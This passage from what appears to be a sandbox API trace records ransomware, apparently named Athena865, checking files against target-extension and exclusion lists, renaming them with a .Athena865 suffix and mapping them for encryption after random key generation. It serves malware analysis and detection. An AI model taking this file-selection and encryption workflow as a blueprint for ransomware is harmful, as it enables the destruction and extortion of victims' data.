returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1 [0059.799] lstrlenW (lpString="kdb") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1 [0059.799] lstrlenW (lpString="kexi") returned 4 [0059.799] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1 [0059.799] lstrlenW (lpString="kexic") returned 5 [0059.799] lstrcmpiW (lpString1="t.msi", lpString2="kexic") returned 1 [0059.799] lstrlenW (lpString="kexis") returned 5 [0059.799] lstrcmpiW (lpString1="t.msi", lpString2="kexis") returned 1 [0059.799] lstrlenW (lpString="lgc") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1 [0059.799] lstrlenW (lpString="lwx") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1 [0059.799] lstrlenW (lpString="maf") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1 [0059.799] lstrlenW (lpString="maq") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1 [0059.799] lstrlenW (lpString="mar") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1 [0059.799] lstrlenW (lpString="marshal") returned 7 [0059.799] lstrcmpiW (lpString1="Set.msi", lpString2="marshal") returned 1 [0059.799] lstrlenW (lpString="mas") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1 [0059.799] lstrlenW (lpString="mav") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1 [0059.799] lstrlenW (lpString="maw") returned 3 [0059.799] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1 [0059.799] lstrlenW (lpString="mdbhtml") returned 7 [0059.800] lstrcmpiW (lpString1="Set.msi", lpString2="mdbhtml") returned 1 [0059.800] lstrlenW (lpString="mdn") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1 [0059.800] lstrlenW (lpString="mdt") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1 [0059.800] lstrlenW (lpString="mfd") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1 [0059.800] lstrlenW (lpString="mpd") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1 [0059.800] lstrlenW (lpString="mrg") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1 [0059.800] lstrlenW (lpString="mud") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1 [0059.800] lstrlenW (lpString="mwb") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1 [0059.800] lstrlenW (lpString="myd") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1 [0059.800] lstrlenW (lpString="ndf") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1 [0059.800] lstrlenW (lpString="nnt") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1 [0059.800] lstrlenW (lpString="nrmlib") returned 6 [0059.800] lstrcmpiW (lpString1="et.msi", lpString2="nrmlib") returned -1 [0059.800] lstrlenW (lpString="ns2") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1 [0059.800] lstrlenW (lpString="ns3") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1 [0059.800] lstrlenW (lpString="ns4") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1 [0059.800] lstrlenW (lpString="nsf") returned 3 [0059.800] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1 [0059.800] lstrlenW (lpString="nv") returned 2 [0059.800] lstrcmpiW (lpString1="si", lpString2="nv") returned 1 [0059.801] lstrlenW (lpString="nv2") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1 [0059.801] lstrlenW (lpString="nwdb") returned 4 [0059.801] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1 [0059.801] lstrlenW (lpString="nyf") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1 [0059.801] lstrlenW (lpString="odb") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0059.801] lstrlenW (lpString="odb") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1 [0059.801] lstrlenW (lpString="oqy") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1 [0059.801] lstrlenW (lpString="ora") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1 [0059.801] lstrlenW (lpString="orx") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1 [0059.801] lstrlenW (lpString="owc") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1 [0059.801] lstrlenW (lpString="p96") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1 [0059.801] lstrlenW (lpString="p97") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1 [0059.801] lstrlenW (lpString="pan") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1 [0059.801] lstrlenW (lpString="pdb") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1 [0059.801] lstrlenW (lpString="pdm") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1 [0059.801] lstrlenW (lpString="pnz") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1 [0059.801] lstrlenW (lpString="qry") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1 [0059.801] lstrlenW (lpString="qvd") returned 3 [0059.801] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1 [0059.801] lstrlenW (lpString="rbf") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1 [0059.802] lstrlenW (lpString="rctd") returned 4 [0059.802] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1 [0059.802] lstrlenW (lpString="rod") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1 [0059.802] lstrlenW (lpString="rodx") returned 4 [0059.802] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1 [0059.802] lstrlenW (lpString="rpd") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1 [0059.802] lstrlenW (lpString="rsd") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1 [0059.802] lstrlenW (lpString="sas7bdat") returned 8 [0059.802] lstrcmpiW (lpString1="ISet.msi", lpString2="sas7bdat") returned -1 [0059.802] lstrlenW (lpString="sbf") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1 [0059.802] lstrlenW (lpString="scx") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1 [0059.802] lstrlenW (lpString="sdb") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1 [0059.802] lstrlenW (lpString="sdc") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1 [0059.802] lstrlenW (lpString="sdf") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1 [0059.802] lstrlenW (lpString="sis") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1 [0059.802] lstrlenW (lpString="spq") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1 [0059.802] lstrlenW (lpString="te") returned 2 [0059.802] lstrcmpiW (lpString1="si", lpString2="te") returned -1 [0059.802] lstrlenW (lpString="teacher") returned 7 [0059.802] lstrcmpiW (lpString1="Set.msi", lpString2="teacher") returned -1 [0059.802] lstrlenW (lpString="tmd") returned 3 [0059.802] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1 [0059.803] lstrlenW (lpString="tps") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1 [0059.803] lstrlenW (lpString="trc") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0059.803] lstrlenW (lpString="trc") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1 [0059.803] lstrlenW (lpString="trm") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1 [0059.803] lstrlenW (lpString="udb") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1 [0059.803] lstrlenW (lpString="udl") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1 [0059.803] lstrlenW (lpString="usr") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1 [0059.803] lstrlenW (lpString="v12") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1 [0059.803] lstrlenW (lpString="vis") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1 [0059.803] lstrlenW (lpString="vpd") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1 [0059.803] lstrlenW (lpString="vvv") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1 [0059.803] lstrlenW (lpString="wdb") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1 [0059.803] lstrlenW (lpString="wmdb") returned 4 [0059.803] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1 [0059.803] lstrlenW (lpString="wrk") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1 [0059.803] lstrlenW (lpString="xdb") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1 [0059.803] lstrlenW (lpString="xld") returned 3 [0059.803] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1 [0059.803] lstrlenW (lpString="xmlff") returned 5 [0059.804] lstrcmpiW (lpString1="t.msi", lpString2="xmlff") returned -1 [0059.804] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.Athena865") returned 89 [0059.804] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.athena865"), dwFlags=0x1) returned 1 [0059.804] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.804] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=868864) returned 1 [0059.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.805] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.805] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.806] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.806] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.806] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd4500, lpName=0x0) returned 0x154 [0059.807] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd4500) returned 0x2d50000 [0059.868] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.869] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.869] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.869] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.869] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.870] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.870] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.870] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0059.878] CloseHandle (hObject=0x154) returned 1 [0059.878] CloseHandle (hObject=0x17c) returned 1 [0059.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.878] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.882] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7b68970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeMUISet.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="..") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="windows") returned -1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="bootmgr") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="temp") returned -1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="pagefile.sys") returned -1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="boot") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="ids.txt") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="ntuser.dat") returned 1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="perflogs") returned -1 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2="MSBuild") returned 1 [0059.882] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0059.882] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OfficeMUISet.xml" | out: lpString1="OfficeMUISet.xml") returned="OfficeMUISet.xml" [0059.882] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0059.882] lstrlenW (lpString="Athena865") returned 9 [0059.882] lstrcmpiW (lpString1="UISet.xml", lpString2="Athena865") returned 1 [0059.882] lstrlenW (lpString=".dll") returned 4 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".dll") returned 1 [0059.882] lstrlenW (lpString=".lnk") returned 4 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".lnk") returned 1 [0059.882] lstrlenW (lpString=".ini") returned 4 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".ini") returned 1 [0059.882] lstrlenW (lpString=".sys") returned 4 [0059.882] lstrcmpiW (lpString1="OfficeMUISet.xml", lpString2=".sys") returned 1 [0059.882] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0059.883] lstrlenW (lpString="bak") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0059.883] lstrlenW (lpString="ba_") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0059.883] lstrlenW (lpString="dbb") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0059.883] lstrlenW (lpString="vmdk") returned 4 [0059.883] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0059.883] lstrlenW (lpString="rar") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0059.883] lstrlenW (lpString="zip") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0059.883] lstrlenW (lpString="tgz") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0059.883] lstrlenW (lpString="vbox") returned 4 [0059.883] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0059.883] lstrlenW (lpString="vdi") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0059.883] lstrlenW (lpString="vhd") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0059.883] lstrlenW (lpString="vhdx") returned 4 [0059.883] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0059.883] lstrlenW (lpString="avhd") returned 4 [0059.883] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0059.883] lstrlenW (lpString="db") returned 2 [0059.883] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0059.883] lstrlenW (lpString="db2") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0059.883] lstrlenW (lpString="db3") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0059.883] lstrlenW (lpString="dbf") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0059.883] lstrlenW (lpString="mdf") returned 3 [0059.883] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0059.883] lstrlenW (lpString="mdb") returned 3 [0059.884] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0059.884] lstrlenW (lpString="sql") returned 3 [0059.884] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0059.884] lstrlenW (lpString="sqlite") returned 6 [0059.884] lstrcmpiW (lpString1="et.xml", lpString2="sqlite") returned -1 [0059.884] lstrlenW (lpString="sqlite3") returned 7 [0059.884] lstrcmpiW (lpString1="Set.xml", lpString2="sqlite3") returned -1 [0059.884] lstrlenW (lpString="sqlitedb") returned 8 [0059.884] lstrcmpiW (lpString1="ISet.xml", lpString2="sqlitedb") returned -1 [0059.884] lstrlenW (lpString="xml") returned 3 [0059.884] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0059.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.Athena865") returned 89 [0059.884] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.athena865"), dwFlags=0x1) returned 1 [0059.885] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0059.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=819) returned 1 [0059.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0059.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0059.885] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0059.885] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0059.886] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0059.886] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.886] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x640, lpName=0x0) returned 0x154 [0059.888] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x640) returned 0x100000 [0059.889] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0059.890] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0059.890] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0059.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0059.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0059.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0059.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0059.890] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0059.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0059.890] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0059.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0059.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0059.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0059.891] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0059.891] CloseHandle (hObject=0x154) returned 1 [0059.891] CloseHandle (hObject=0x17c) returned 1 [0059.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0059.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0059.891] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0059.891] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc8b16200, ftCreationTime.dwHighDateTime=0x1cac190, ftLastAccessTime.dwLowDateTime=0xc8b16200, ftLastAccessTime.dwHighDateTime=0x1cac190, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2ed80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetupui.dll", cAlternateFileName="")) returned 1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2=".") returned 1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="..") returned 1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="windows") returned -1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="bootmgr") returned 1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="temp") returned -1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="pagefile.sys") returned -1 [0059.891] lstrcmpiW (lpString1="osetupui.dll", lpString2="boot") returned 1 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2="ids.txt") returned 1 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2="ntuser.dat") returned 1 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2="perflogs") returned -1 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2="MSBuild") returned 1 [0059.892] lstrlenW (lpString="osetupui.dll") returned 12 [0059.892] lstrcpyW (in: lpString1=0x241e8c6, lpString2="osetupui.dll" | out: lpString1="osetupui.dll") returned="osetupui.dll" [0059.892] lstrlenW (lpString="osetupui.dll") returned 12 [0059.892] lstrlenW (lpString="Athena865") returned 9 [0059.892] lstrcmpiW (lpString1="tupui.dll", lpString2="Athena865") returned 1 [0059.892] lstrlenW (lpString=".dll") returned 4 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2=".dll") returned 1 [0059.892] lstrlenW (lpString=".lnk") returned 4 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2=".lnk") returned 1 [0059.892] lstrlenW (lpString=".ini") returned 4 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2=".ini") returned 1 [0059.892] lstrlenW (lpString=".sys") returned 4 [0059.892] lstrcmpiW (lpString1="osetupui.dll", lpString2=".sys") returned 1 [0059.892] lstrlenW (lpString="osetupui.dll") returned 12 [0059.892] lstrlenW (lpString="bak") returned 3 [0059.892] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0059.892] lstrlenW (lpString="ba_") returned 3 [0059.892] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0059.892] lstrlenW (lpString="dbb") returned 3 [0059.892] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0059.892] lstrlenW (lpString="vmdk") returned 4 [0059.892] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0059.892] lstrlenW (lpString="rar") returned 3 [0059.892] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0059.892] lstrlenW (lpString="zip") returned 3 [0059.892] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0059.892] lstrlenW (lpString="tgz") returned 3 [0059.892] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0059.892] lstrlenW (lpString="vbox") returned 4 [0059.892] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0059.893] lstrlenW (lpString="vdi") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0059.893] lstrlenW (lpString="vhd") returned 3 [0059.893] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0059.893] lstrlenW (lpString="vhdx") returned 4 [0059.893] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0059.893] lstrlenW (lpString="avhd") returned 4 